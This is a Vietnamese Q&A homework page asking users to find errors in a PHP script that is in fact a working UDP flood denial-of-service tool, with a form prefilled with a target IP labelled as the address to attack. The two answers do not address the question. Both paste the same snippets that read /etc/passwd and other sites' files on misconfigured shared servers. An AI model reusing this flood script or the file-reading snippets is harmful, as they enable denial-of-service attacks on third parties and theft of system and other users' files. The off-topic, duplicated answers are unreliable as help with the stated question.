Bài tập  /  Bài đang cần trả lời

Tìm lỗi sai của đoạn chương trình

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<font color="FF3636">  
<font size= "6"> 
<font size="5"> 
<pre>  
</pre>  
<b>Your IP:</b> <font color="blue"><?php echo $ip; ?></font>&nbsp;(Độ mạnh trung 
bình)<br><br><font color="blue"> 
</font> 
<STYLE>  
input{  
background-color: white; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66; 
}  
button{  
background-color:# FF0303; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;  
}  
body {  

}  
</style>  
<?php  
//UDP  
if(isset($_GET['host'])&&isset($_GET['time'])){  
    $packets = 0;  
    ignore_user_abort(TRUE);  
    set_time_limit(0);  

    $exec_time = $_GET['time'];  

    $time = time();  
    //print "Started: ".time('d-m-y h:i:s')."<br>";  
    $max_time = $time+$exec_time;  

    $host = $_GET['host'];  

    for($i=0;$i<65000;$i++){  
    $out .= 'X';  
    }  
    while(1){  
    $packets++;  
    if(time() > $max_time){  
    break;  
    }  
    $rand = rand(1,65000);  
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);  
    if($fp){  
    fwrite($fp, $out);  
    fclose($fp);  
    }  
    }  
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";  
    echo '<br><br>  
  <form acti method=GET>  
  <input type="hidden" name="act" value="phptools">  
  IP cần tấn công: <br><input type=text value=222.255.217.195 name=host><br>  
  Thời gian (giây): <br><input type=text name=time><br>  
  <input type=submit value=Go></form>';  
}else{ echo '<br><b>UDP Flood</b><br>  
    <form acti method=GET>  
    <input type="hidden" name="act" value="phptools">  
    Host: <br><input type=text name=host value=><br>  
    Length (seconds): <br><input type=text name=time value=><br><br>  
    <input type=submit value=Go></form>';  
}  
?>  

2 trả lời
Hỏi chi tiết
226
0
0
Test Code
28/08/2020 13:31:06
<?
echo "<pre>".file_get_contents("/etc/passwd")."</pre>";
?>
works on most servers, also:
<?
echo "<pre>".file_get_contents("/home/vhosts/anothersite/public_html/theirscript.php")."</pre>";
?>
will work on a few badly configured servers.

Mở khóa để xem toàn bộ nội dung trả lời

(?)
Bạn đã đạt đến giới hạn của mình. Bằng cách Đăng ký tài khoản, bạn có thể xem toàn bộ nội dung trả lời
Cải thiện điểm số của bạn bằng cách đăng ký tài khoản Lazi.
Xem toàn bộ các câu trả lời, chat trực tiếp 1:1 với đội ngũ Gia sư Lazi bằng cách Đăng nhập tài khoản ngay bây giờ
Tôi đã có tài khoản? Đăng nhập
0
0
Quỷ Vương
02/09/2020 21:05:10
+4đ tặng

<?
echo "<pre>".file_get_contents("/etc/passwd")."</pre>";
?>
works on most servers, also:
<?
echo "<pre>".file_get_contents("/home/vhosts/anothersite/public_html/theirscript.php")."</pre>";
?>
will work on a few badly configured servers.

Bạn hỏi - Lazi trả lời

Bạn muốn biết điều gì?

GỬI CÂU HỎI
Học tập không giới hạn cùng học sinh cả nước và AI, sôi động, tích cực, trải nghiệm
Bài tập liên quan

Hôm nay bạn thế nào? Hãy nhấp vào một lựa chọn, nếu may mắn bạn sẽ được tặng 50.000 xu từ Lazi

Vui Buồn Bình thường

Học ngoại ngữ với Flashcard

×
Gia sư Lazi Gia sư
×
Trợ lý ảo Trợ lý ảo